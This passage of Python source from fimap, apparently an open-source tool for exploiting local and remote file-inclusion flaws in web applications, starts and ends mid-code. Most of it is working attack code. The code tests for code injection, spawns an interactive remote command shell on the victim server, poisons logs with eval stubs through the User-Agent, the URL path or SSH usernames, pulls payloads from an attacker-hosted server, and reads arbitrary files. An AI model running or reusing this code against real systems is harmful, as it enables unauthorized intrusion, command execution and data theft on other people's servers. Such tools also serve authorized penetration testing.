self.sock.connect(sa) except socket.error, msg: if self.sock: self.sock.close() self.sock = None continue break if not self.sock: raise socket.error, msg class PoolHTTPHandler(urllib2.HTTPHandler): def http_open(self, req): return self.do_open(PoolHTTPConnection, req) class Browser(object): def __init__(self, user_agent=DEFAULT_AGENT, use_pool=False, proxystring=None): self.headers = {'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-us,en;q=0.5'} self.proxy = proxystring def get_page(self, url, data=None, additionalheader = None): proxy_support = urllib2.ProxyHandler({}) if (self.proxy != None): proxy_support = urllib2.ProxyHandler({'http': self.proxy, 'https': self.proxy}) handlers = [proxy_support] opener = urllib2.build_opener(*handlers) if additionalheader != None: for key, head in additionalheader.items(): opener.addheaders.append((key, head)) ret = None headers = None response = None request = urllib2.Request(url, data, self.headers) try: try: response = opener.open(request) ret = response.read() info = response.info() headers = copy.deepcopy(info.items()) finally: if response: response.close() except: raise return ret, headers def set_random_user_agent(self): self.headers['User-Agent'] = DEFAULT_AGENT return self.headers['User-Agent']
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$01.09.2009 04:28:51$" from targetScanner import targetScanner from singleScan import singleScan class massScan: def __init__(self, config): self.config = config self.list = config["p_list"] def startMassScan(self): print "MassScan reading file: '%s'..."%self.list f = open(self.list, "r") idx = 0 for l in f: if idx >= 0: l = l.strip() if (l.startswith("http://"), l.startswith("https://")): print "[%d][MASS_SCAN] Scanning: '%s'..." %(idx,l) single = singleScan(self.config) single.setURL(l) single.setQuite(True) single.scan() idx = idx +1 print "MassScan completed."
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from baseClass import baseClass import os, sys import xml.dom.minidom class plugininterface(baseClass): def _load(self): self.plugins = [] self.plugin_dir = os.path.join(sys.path[0], "plugins") self.loadPlugins() def loadPlugins(self): x = 0 for dir in os.listdir(self.plugin_dir): dirpath = os.path.join(self.plugin_dir, dir) if (os.path.isdir(dirpath) and dir[0] != "."): pluginxml = os.path.join(dirpath, "plugin.xml") if (os.path.exists(pluginxml)): info = pluginXMLInfo(pluginxml) plugin = info.getStartupClass() self._log("Trying to load plugin '%s'..." %dir, self.LOG_DEBUG) loadedClass = None loader = "from plugins.%s import %s\n" %(plugin, plugin) loader += "loadedClass = %s.%s(self.config)"%(plugin, plugin) try: exec(loader) loadedClass.addXMLInfo(info) loadedClass.plugin_init() loadedClass.printInfo() self.plugins.append(loadedClass) x +=1 except: raise else: self._log("Plugin doesn't have a plugin.xml file! -> '%s'..." %dir, self.LOG_WARN) for p in self.plugins: p.plugin_loaded() self._log("%d plugins loaded." %(x), self.LOG_DEBUG) def requestPluginActions(self, langClass, isSystem, isUnix): ret = [] for p in self.plugins: modes = p.plugin_exploit_modes_requested(langClass, isSystem, isUnix) for m in modes: ret.append((p.getPluginName(), m)) return(ret) def requestPluginFallbackActions(self, langClass): ret = [] for p in self.plugins: try: modes = p.plugin_fallback_modes_requested(langClass) for m in modes: ret.append((p.getPluginName(), m)) except: pass # Compatiblity for old plugins cause I am currently too lazy to fix them. return(ret) def broadcast_callback(self, attack, haxhelper): for p in self.plugins: try: p.plugin_callback_handler(attack, haxhelper) except KeyboardInterrupt: print "\nReceived unhandled KeyboardInterrupt by plugin!" except: self._log("\nPlugin '%s' just crashed!"%(p.getPluginName()), self.LOG_ERROR) self._log("Please send a bugreport to the Plugin Developer: %s <%s>"%(p.getPluginAutor(), p.getPluginEmail()), self.LOG_ERROR) self._log("Push enter to see the stacktrace.", self.LOG_WARN) raw_input() print "%<--------------------------------------------" raise def getPluginVersion(self, StartUpClass): for p in self.plugins: if (p.getPluginStartUpClass() == StartUpClass): Version = p.getPluginVersion() return(Version) return(None) def getAllPluginObjects(self): return(self.plugins) class pluginXMLInfo: def __init__(self, xmlfile): self.xmlFile = xmlfile if (os.path.exists(xmlfile)): XML_plugin = xml.dom.minidom.parse(xmlfile) XML_Rootitem = XML_plugin.firstChild self.name = str(XML_Rootitem.getAttribute("name")) self.startupclass = str(XML_Rootitem.getAttribute("startup")) self.autor = str(XML_Rootitem.getAttribute("autor")) self.email = str(XML_Rootitem.getAttribute("email")) self.version = int(XML_Rootitem.getAttribute("version")) self.url = str(XML_Rootitem.getAttribute("url")) def getVersion(self): return(self.version) def getStartupClass(self): return(self.startupclass) def getAutor(self): return(self.autor) def getEmail(self): return(self.email) def getURL(self): return(self.url) def getName(self): return(self.name) class basePlugin(baseClass): def addXMLInfo(self, xmlinfo): self.xmlInfo = xmlinfo def _load(self): pass def getPluginEmail(self): return(self.xmlInfo.getEmail()) def getPluginName(self): return(self.xmlInfo.getName()) def getPluginAutor(self): return(self.xmlInfo.getAutor()) def getPluginURL(self): return(self.xmlInfo.getURL()) def getPluginVersion(self): return(self.xmlInfo.getVersion()) def getPluginStartUpClass(self): return(self.xmlInfo.getStartupClass()) def printInfo(self): self._log("[%s version %d]"%(self.getPluginName(), self.getPluginVersion()), self.LOG_DEBUG) self._log(" Autor: %s"%(self.getPluginAutor()), self.LOG_DEBUG) self._log(" Email: %s"%(self.getPluginEmail()), self.LOG_DEBUG) self._log(" URL : %s"%(self.getPluginURL()), self.LOG_DEBUG) # EVENTS def plugin_init(self): print "IMPLEMENT plugin_init !" def plugin_loaded(self): print "IMPLEMENT plugin_loaded !" def plugin_exploit_modes_requested(self, langClass, isSystem, isUnix): # Returns a tuple which will represent a userchoice for the exploit menu. # (Label, Callbackstring) print "IMPLEMENT plugin_exploit_modes_requested" def plugin_callback_handler(self, callbackstring, haxhelper): # This function will be launched if the user selected one of your attacks. print "IMPLEMENT plugin_callback_handler"
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$01.09.2009 13:56:47$" settings = {} settings["dynamic_rfi"] = {} settings["dynamic_rfi"]["mode"] = "off" # Set to "ftp" or "local" to use Dynamic_RFI. Set it to "off" to disable it and rely on settings["filesrmt"] files. ############### #!!!# WARNING # ################################################################################################### # If you use dynamic_rfi make sure that NO file will be interpreted in the directory you define! # # Else code (which should be interpreted on the victim server) will be executed on YOUR machine. # # If you don't understand what I say then DON'T USE dynamic_rfi! # ################################################################################################### # FTP Mode settings["dynamic_rfi"]["ftp"] = {} settings["dynamic_rfi"]["ftp"]["ftp_host"] = None settings["dynamic_rfi"]["ftp"]["ftp_user"] = None settings["dynamic_rfi"]["ftp"]["ftp_pass"] = None settings["dynamic_rfi"]["ftp"]["ftp_path"] = None # A non existing file without suffix. Example: /home/imax/public_html/payload settings["dynamic_rfi"]["ftp"]["http_map"] = None # The mapped HTTP path of the file. Example: http://localhost/~imax/payload # Local Mode settings["dynamic_rfi"]["local"] = {} settings["dynamic_rfi"]["local"]["local_path"] = None # A non existing file on your filesystem without prefix which is reachable by http. Example: /var/www/payload settings["dynamic_rfi"]["local"]["http_map"] = None # The http url of the file without prefix where the file is reachable from the web. Example: http://localhost/payload
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from base64 import b64decode import pickle import base64 import shutil import os import sys from baseClass import baseClass from config import settings import urllib2 import urlparse __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$03.09.2009 03:40:49$" shell_banner = "-------------------------------------------\n" + \ "Welcome to fimap shell!\n" + \ "Better don't start interactive commands! ;)\n" +\ "Also remember that this is not a persistent shell.\n" +\ "Every command opens a new shell and quits it after that!\n" +\ "Enter 'q' to exit the shell.\n"+\ "-------------------------------------------" class codeinjector(baseClass): def _load(self): self.report = None self.isLogKickstarterPresent = False def setReport(self, report): self.report = report def getPreparedComponents(self, shcode=None): fpath = None postdata = None header_dict = [] vuln = self.vulnerability; fpath = vuln.getAttribute("path") param = vuln.getAttribute("param") prefix = vuln.getAttribute("prefix") suffix = vuln.getAttribute("suffix") if (shcode == None): shcode = vuln.getAttribute("file") paramvalue = vuln.getAttribute("paramvalue") postdata = vuln.getAttribute("postdata") ispost = int(vuln.getAttribute("ispost")) isUnix = vuln.getAttribute("os") == "unix" vulnheaderkey = vuln.getAttribute("header_vuln_key") header_dict_b64 = vuln.getAttribute("header_dict") header_dict = {} if (header_dict_b64 != ""): header_dict_pickle = b64decode(header_dict_b64) header_dict = pickle.loads(header_dict_pickle) if (not isUnix and shcode[1]==":" and prefix != ""): shcode = shcode[3:] payload = "%s%s%s" %(prefix, shcode, suffix) if (ispost == 0): fpath = fpath.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) elif (ispost == 1): postdata = postdata.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) elif (ispost == 2): tmp = header_dict[vulnheaderkey] tmp = tmp.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) header_dict[vulnheaderkey] = tmp return(fpath, postdata, header_dict, payload) def probeExecMethods(self, url, postdata, header_dict, domain, vuln): working_shell = None hostname = domain.getAttribute("hostname") mode = vuln.getAttribute("mode") fpath = vuln.getAttribute("path") param = vuln.getAttribute("param") prefix = vuln.getAttribute("prefix") suffix = vuln.getAttribute("suffix") appendix = vuln.getAttribute("appendix") shcode = vuln.getAttribute("file") paramvalue = vuln.getAttribute("paramvalue") kernel = domain.getAttribute("kernel") ispost = int(vuln.getAttribute("ispost")) language = vuln.getAttribute("language") isUnix = vuln.getAttribute("os") == "unix" xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets()[language] shellquiz, shellanswer = xml2config.generateShellQuiz(isUnix) shell_test_code = shellquiz shell_test_result = shellanswer for item in langClass.getExecMethods(): try: name = item.getName() payload = None if (item.isUnix() and isUnix) or (item.isWindows() and not isUnix): self._log("Testing execution thru '%s'..."%(name), self.LOG_INFO) testload = item.generatePayload(shell_test_code) if (mode.find("A") != -1): self.setUserAgent(testload) code = self.doPostRequest(url, postdata, header_dict) elif (mode.find("P") != -1): if (postdata != ""): testload = "%s&%s" %(postdata, testload) code = self.doPostRequest(url, testload, header_dict) elif (mode.find("R") != -1): code = self.executeRFI(url, postdata, appendix, testload, header_dict) elif (mode.find("L") != -1): testload = self.convertUserloadToLogInjection(testload) testload = "data=" + base64.b64encode(testload) if (postdata != ""): testload = "%s&%s" %(postdata, testload) code = self.doPostRequest(url, testload, header_dict) if code != None and code.find(shell_test_result) != -1: working_shell = item self._log("Execution thru '%s' works!"%(name), self.LOG_ALWAYS) if (kernel == None): self._log("Requesting kernel version...", self.LOG_DEBUG) uname_cmd = item.generatePayload(xml2config.getKernelCode(isUnix)) kernel = self.__doHaxRequest(url, postdata, mode, uname_cmd, langClass, suffix, headerDict=header_dict).strip() self._log("Kernel received: %s" %(kernel), self.LOG_DEBUG) domain.setAttribute("kernel", kernel) self.saveXML() break else: self._log("Skipping execution method '%s'..."%(name), self.LOG_DEBUG) except KeyboardInterrupt: self._log("Aborted by user.", self.LOG_WARN) return(working_shell) def start(self, OnlyExploitable): domain = self.chooseDomains(OnlyExploitable) vuln = self.chooseVuln(domain.getAttribute("hostname")) self.vulnerability = vuln; hostname = domain.getAttribute("hostname") mode = vuln.getAttribute("mode") fpath = vuln.getAttribute("path") param = vuln.getAttribute("param") prefix = vuln.getAttribute("prefix") suffix = vuln.getAttribute("suffix") appendix = vuln.getAttribute("appendix") shcode = vuln.getAttribute("file") paramvalue = vuln.getAttribute("paramvalue") kernel = domain.getAttribute("kernel") postdata = vuln.getAttribute("postdata") ispost = int(vuln.getAttribute("ispost")) language = vuln.getAttribute("language") isUnix = vuln.getAttribute("os") == "unix" vulnheaderkey = vuln.getAttribute("header_vuln_key") header_dict_b64 = vuln.getAttribute("header_dict") header_dict = {} if (header_dict_b64 != ""): header_dict_pickle = b64decode(header_dict_b64) header_dict = pickle.loads(header_dict_pickle) if (not isUnix and shcode[1]==":"): shcode = shcode[3:] xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets()[language] plugman = self.config["PLUGINMANAGER"] if (kernel == ""): kernel = None fpath, postdata, header_dict, payload = self.getPreparedComponents() php_inject_works = False sys_inject_works = False working_shell = None url = "http://%s%s" %(hostname, fpath) code = None quiz, answer = langClass.generateQuiz() php_test_code = quiz php_test_result = answer if (mode.find("A") != -1 and mode.find("x") != -1): # Some exploit which is exploitable by changing the useragent. self._log("Testing %s-code injection thru User-Agent..."%(language), self.LOG_INFO) code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, suffix, headerDict=header_dict) elif (mode.find("P") != -1 and mode.find("x") != -1): # Some exploit which is exploitable by sending POST requests. self._log("Testing %s-code injection thru POST..."%(language), self.LOG_INFO) code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, suffix, headerDict=header_dict) elif (mode.find("L") != -1): # Some exploit which is exploitable by injecting specially crafted log entries. if (mode.find("H") != -1): self._log("Testing %s-code injection thru Logfile HTTP-UA-Injection..."%(language), self.LOG_INFO) elif (mode.find("F") != -1): self._log("Testing %s-code injection thru Logfile FTP-Username-Injection..."%(language), self.LOG_INFO) elif (mode.find("S") != -1): self._log("Testing %s-code injection thru Logfile SSH-Username-Injection..."%(language), self.LOG_INFO) code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, suffix, headerDict=header_dict) elif (mode.find("R") != -1): # Some exploit which is exploitable by loading pages through another website (RFI) suffix = appendix if settings["dynamic_rfi"]["mode"] == "ftp": self._log("Testing code thru FTP->RFI...", self.LOG_INFO) if (ispost == 0): url = url.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["ftp"]["http_map"])) elif (ispost == 1): postdata = postdata.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["ftp"]["http_map"])) elif (ispost == 2): tmp = header_dict[vulnheaderkey] tmp = tmp.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["ftp"]["http_map"])) header_dict[vulnheaderkey] = tmp code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, appendix, headerDict=header_dict) elif settings["dynamic_rfi"]["mode"] == "local": self._log("Testing code thru LocalHTTP->RFI...", self.LOG_INFO) if (ispost == 0): url = url.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["local"]["http_map"])) elif (ispost == 1): postdata = postdata.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["local"]["http_map"])) elif (ispost == 2): tmp = header_dict[vulnheaderkey] tmp = tmp.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["local"]["http_map"])) header_dict[vulnheaderkey] = tmp code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, appendix, headerDict=header_dict) else: print "fimap is currently not configured to exploit RFI vulnerabilities." sys.exit(1) elif (mode.find("r") != -1): # Some point which we know that we can include files but we haven't found any good vectors. self._log("You have selected a file which is only readable.", self.LOG_ALWAYS) self._log("Let's see if one of our plugins is interested in it...", self.LOG_ALWAYS) textarr = [] idx = 1 choose = {} header = "Fallback Plugin Selection" pluginman = self.config["PLUGINMANAGER"] plugin_attacks = pluginman.requestPluginFallbackActions(langClass) for attacks in plugin_attacks: pluginName, attackmode = attacks label, callback = attackmode textarr.append("[%d] [%s] %s" %(idx, pluginName, label)) choose[idx] = callback idx += 1 textarr.append("[q] Quit") if (idx == 1): print "Sorry. No plugin was interested :(" sys.exit(0) else: inp = "" val = -1 while (1==1): self.drawBox(header, textarr) inp = raw_input("Your Selection: ") if (inp == "q" or inp == "Q"): break try: val = int(inp) if (val < 0 or val > idx-1): print "Invalid selection index. Hit 'q' to quit." else: haxhelper = HaxHelper(self, url, postdata, mode, langClass, suffix, isUnix, sys_inject_works, None) plugman.broadcast_callback(choose[val], haxhelper) except: print "Invalid number selected. Hit 'q' to quit." sys.exit(1) if code == None: self._log("%s-code testing failed! code=None"%(language), self.LOG_ERROR) sys.exit(1) if (code.find(php_test_result) != -1): self._log("%s Injection works! Testing if execution works..."%(language), self.LOG_ALWAYS) php_inject_works = True working_shell = self.probeExecMethods(url, postdata, header_dict, domain, vuln) sys_inject_works = False if (working_shell != None): sys_inject_works = True attack = None while (attack != "q"): attack = None if (self.config["p_exploit_cmds"] != None): attack = "fimap_shell" else: attack = self.chooseAttackMode(language, php_inject_works, sys_inject_works, isUnix) if (type(attack) == str): if (attack == "fimap_shell"): tab_choice = [] ls_cmd = None def complete(txt, state): for tab in tab_choice: if tab.startswith(txt): if not state: return tab else: state -= 1 if (self.config["p_tabcomplete"]): self._log("Setting up tab-completation...", self.LOG_DEBUG) try: import readline readline.parse_and_bind("tab: complete") readline.set_completer(complete) if (isUnix): ls_cmd = "ls -m" else: ls_cmd = "dir /B" self._log("Epic Tab-completation enabled!", self.LOG_INFO) except: self._log("Epicly failed to setup readline module!", self.LOG_WARN) self._log("Falling back to default exploit-shell.", self.LOG_WARN) cmd = "" print "Please wait - Setting up shell (one request)..." #pwd_cmd = item.generatePayload("pwd;whoami") commands = [xml2config.getCurrentDirCode(isUnix), xml2config.getCurrentUserCode(isUnix)] if (ls_cmd != None): commands.append(ls_cmd) pwd_cmd = working_shell.generatePayload(xml2config.concatCommands(commands, isUnix)) tmp = self.__doHaxRequest(url, postdata, mode, pwd_cmd, langClass, suffix, headerDict=header_dict).strip() if (tmp.strip() == ""): print "Failed to setup shell! The resulting string was empty!" break curdir = "<null_dir>" curusr = "<null_user>" if len(tmp.split("\n")) >= 2: curdir = tmp.split("\n")[0].strip() curusr = tmp.split("\n")[1].strip() if (ls_cmd != None): dir_content = ",".join(tmp.split("\n")[2:]) tab_choice = [] for c in dir_content.split(","): c = c.strip() if (c != ""): tab_choice.append(c) if (curusr) == "": curusr = "fimap" print shell_banner while 1==1: cmd = None if (self.config["p_exploit_cmds"] != None): # Execute commands the user defined through parameters. if (len(self.config["p_exploit_cmds"]) > 0): cmd = self.config["p_exploit_cmds"][0] self._log("Executing command: %s" %(cmd), self.LOG_INFO) del(self.config["p_exploit_cmds"][0]) else: self._log("Done with user supplied command batch.", self.LOG_INFO); sys.exit(0) else: # Ask the user for a shell command. cmd = raw_input("fishell@%s:%s$> " %(curusr,curdir)) if cmd == "q" or cmd == "quit": break try: if (cmd.strip() != ""): commands = (xml2config.generateChangeDirectoryCommand(curdir, isUnix), cmd) cmds = xml2config.concatCommands(commands, isUnix) userload = working_shell.generatePayload(cmds) code = self.__doHaxRequest(url, postdata, mode, userload, langClass, suffix, headerDict=header_dict) if (cmd.startswith("cd ")): # Get Current Directory... commands = (xml2config.generateChangeDirectoryCommand(curdir, isUnix), cmd, xml2config.getCurrentDirCode(isUnix)) cmds = xml2config.concatCommands(commands, isUnix) cmd = working_shell.generatePayload(cmds) curdir = self.__doHaxRequest(url, postdata, mode, cmd, langClass, suffix, headerDict=header_dict).strip() # Refresh Tab-Complete Cache... if (ls_cmd != None): self._log("Refreshing Tab-Completation cache...", self.LOG_DEBUG) commands = (xml2config.generateChangeDirectoryCommand(curdir, isUnix), ls_cmd) cmds = xml2config.concatCommands(commands, isUnix) cmd = working_shell.generatePayload(cmds) tab_cache = self.__doHaxRequest(url, postdata, mode, cmd, langClass, suffix, headerDict=header_dict).strip() if (ls_cmd != None): dir_content = ",".join(tab_cache.split("\n")) tab_choice = [] for c in dir_content.split(","): c = c.strip() if (c != ""): tab_choice.append(c) print code.strip() except KeyboardInterrupt: print "\nCancelled by user." print "See ya dude!" print "Do not forget to close this security hole." else: haxhelper = HaxHelper(self, url, postdata, mode, langClass, suffix, isUnix, sys_inject_works, working_shell) plugman.broadcast_callback(attack, haxhelper) #ASDF else: cpayload = attack.generatePayload() shellcode = None if (not attack.doInShell()): shellcode = cpayload else: shellcode = working_shell.generatePayload(cpayload) code = self.__doHaxRequest(url, postdata, mode, shellcode, langClass, appendix, headerDict=header_dict) if (code == None): print "Exploiting Failed!" sys.exit(1) print code.strip() elif (code.find(php_test_code) != -1): try: self._log("Injection not possible! It looks like a file disclosure bug.", self.LOG_WARN) self._log("fimap can currently not readout files comfortably.", self.LOG_WARN) go = raw_input("Do you still want to readout files (even without filtering them)? [Y/n] ") if (go == "Y" or go == "y" or go == ""): while 1==1: inp = raw_input("Absolute filepath you want to read out: ") if (inp == "q"): print "Fix this hole! Bye." sys.exit(0) payload = "%s%s%s" %(prefix, inp, suffix) if (not ispost): path = fpath.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) else: postdata = postdata.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) url = "http://%s%s" %(hostname, path) code = self.__doHaxRequest(url, postdata, mode, "", langClass, appendix, False, headerDict=header_dict) print "--- Unfiltered output starts here ---" print code print "--- EOF ---" else: print "Cancelled. If you want to read out files by hand use this URL:" if (not ispost): path = fpath.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, "ABSOLUTE_FILE_GOES_HERE")) url = "http://%s%s" %(hostname, path) print "URL: " + url else: postdata = postdata.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, "ABSOLUTE_FILE_GOES_HERE")) url = "http://%s%s" %(hostname, path) print "URL : " + url print "With Postdata: " + postdata except KeyboardInterrupt: raise else: print "Failed to test injection. :(" def _doHaxRequest(self, url, postdata, m, payload, langClass, appendix=None, doFilter=True, headerDict=None): return(self.__doHaxRequest(url, postdata, m, payload, langClass, appendix, doFilter, headerDict=headerDict)) def __doHaxRequest(self, url, postdata, m, payload, langClass, appendix=None, doFilter=True, headerDict=None): code = None rndStart = self.getRandomStr() rndEnd = self.getRandomStr() userload = None if doFilter: userload = "%s %s %s" %(langClass.generatePrint(rndStart), payload, langClass.generatePrint(rndEnd)) else: pass #userload = "%s%s%s" %(rndStart, payload, rndEnd) if (m.find("A") != -1): self.setUserAgent(userload) code = self.doPostRequest(url, postdata, additionalHeaders = headerDict) elif (m.find("P") != -1): if (postdata != ""): userload = "%s&%s" %(postdata, userload) code = self.doPostRequest(url, userload, additionalHeaders = headerDict) elif (m.find("R") != -1): code = self.executeRFI(url, postdata, appendix, userload, headerDict) elif (m.find("L") != -1): if (not self.isLogKickstarterPresent): self._log("Testing if log kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p) if (code == None): return(None) #TODO: Cleanup this dirty block :) if (code.find(testcode[1]) == -1): if (m.find("H") != -1): self._log("Kickstarter is not present. Injecting kickstarter thru UserAgent...", self.LOG_INFO) kickstarter = langClass.getEvalKickstarter() ua = self.getUserAgent() self.setUserAgent(kickstarter) tmpurl = None if (url.find("?") != -1): tmpurl = url[:url.find("?")] else: tmpurl = url self.doGetRequest(tmpurl, additionalHeaders = headerDict) self.setUserAgent(ua) self._log("Testing once again if kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p, additionalHeaders = headerDict) if (code.find(testcode[1]) == -1): self._log("Failed to inject kickstarter thru UserAgent!", self.LOG_ERROR) self._log("Trying to inject kickstarter thru Path...", self.LOG_INFO) self._log("Ignore any 404 errors for the next request.", self.LOG_INFO) kickstarter = langClass.getEvalKickstarter() tmpurl = None if (url.find("?") != -1): tmpurl = url[:url.find("?")] else: tmpurl = url tmpurl += "?" + kickstarter self.doGetRequest(tmpurl, additionalHeaders = headerDict) self._log("Testing once again if kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p, additionalHeaders = headerDict) if (code.find(testcode[1]) != -1): self._log("Kickstarter successfully injected thru Path!", self.LOG_INFO) self.isLogKickstarterPresent = True else: self._log("Failed to inject kickstarter thru Path!", self.LOG_ERROR) sys.exit(1) else: self._log("Kickstarter successfully injected! thru UserAgent!", self.LOG_INFO) self.isLogKickstarterPresent = True if (m.find("S") != -1): import ssh if (ssh.paramikoInstalled == False): self._log("I am soooo sorry bro but you need paramiko python module installed to use this feature!", self.LOG_ERROR) self._log("$> sudo apt-get install python-paramiko # maybe? :)", self.LOG_ERROR) sys.exit(1); self._log("Kickstarter is not present. Injecting kickstarter thru SSH Username...", self.LOG_INFO) kickstarter = langClass.getEvalKickstarter() # Parse out hostname hostname = url[url.find("//") +2:] if ("/" in hostname): hostname = hostname[:hostname.find("/")] if (hostname.startswith("www.")): hostname = hostname[4:] self._log("Trying to connect to ssh://'%s'"%(hostname), self.LOG_DEBUG) self._log("SSH-Username: %s"%(kickstarter), self.LOG_DEVEL) try: ssh.Connection(hostname, username=kickstarter, password="asdf") except: pass self._log("Testing once again if kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p, additionalHeaders = headerDict) else: self._log("Kickstarter found!", self.LOG_INFO) self.isLogKickstarterPresent = True if (self.isLogKickstarterPresent): # Remove all <? and ?> tags. userload = self.convertUserloadToLogInjection(userload) userload = "data=" + base64.b64encode(userload) if (postdata != ""): userload = "%s&%s" %(postdata, userload) code = self.doPostRequest(url, userload, additionalHeaders = headerDict) if (code != None): if doFilter: code = code[code.find(rndStart)+len(rndStart): code.find(rndEnd)] return(code) def testRFI(self): xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets() for langName, langObj in langClass.items(): print "Testing language %s..." %(langName) c, r = langObj.generateQuiz() enc_c = self.payload_encode(c) if (settings["dynamic_rfi"]["mode"] == "local"): print "Testing Local->RFI configuration..." code = self.executeRFI(settings["dynamic_rfi"]["local"]["http_map"], "", "", c, {}) if (code == enc_c): print "Dynamic RFI works!" for ext in langObj.getExtentions(): print "Testing %s interpreter..." %(ext) #settings["dynamic_rfi"]["ftp"]["ftp_path"] = settings["dynamic_rfi"]["local"]["local_path"] + ext code = self.executeRFI(settings["dynamic_rfi"]["local"]["http_map"] + ext, "", ext, c, {}) if (code == r): print "WARNING! Files which ends with %s will be interpreted! Fix that!"%(ext) else: pass # Seems to be not interpreted... else: print "Failed! Something went wrong..." elif (settings["dynamic_rfi"]["mode"] == "ftp"): print "Testing FTP->RFI configuration..." code = self.executeRFI(settings["dynamic_rfi"]["ftp"]["http_map"], "", "", c, {}) if (code != None): code = code.strip() if (code == enc_c): print "Dynamic RFI works!" for ext in langObj.getExtentions(): print "Testing %s interpreter..."%(ext) #settings["dynamic_rfi"]["ftp"]["ftp_path"] = settings["dynamic_rfi"]["ftp"]["ftp_path"] + ext code = self.executeRFI(settings["dynamic_rfi"]["ftp"]["http_map"] + ext, "", ext, c, {}) if (code.find(r) != -1): print "WARNING! Files which ends with %s will be interpreted! Fix that!"%(ext) else: pass # Seems to be not interpreted... else: print "Failed! Something went wrong..." print "Code: " + code; else: print "Code == None. That's not good! Failed!" else: print "You haven't enabled and\\or configurated fimap RFI mode." print "Fix that in config.py" sys.exit(0) def convertUserloadToLogInjection(self, userload): userload = userload.replace("<?php", "").replace("?>", "") userload = userload.replace("<?", "") return(userload.strip()) def chooseAttackMode(self, language, php=True, syst=True, isUnix=True): header = "" choose = {} textarr = [] idx = 1 xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets()[language] if (syst): header = ":: Available Attacks - %s and SHELL access ::" %(language) textarr.append("[1] Spawn fimap shell") choose[1] = "fimap_shell" idx = 2 for payloadobj in langClass.getPayloads(): if (payloadobj.isForUnix() and isUnix or payloadobj.isForWindows() and not isUnix): k = payloadobj.getName() v = payloadobj textarr.append("[%d] 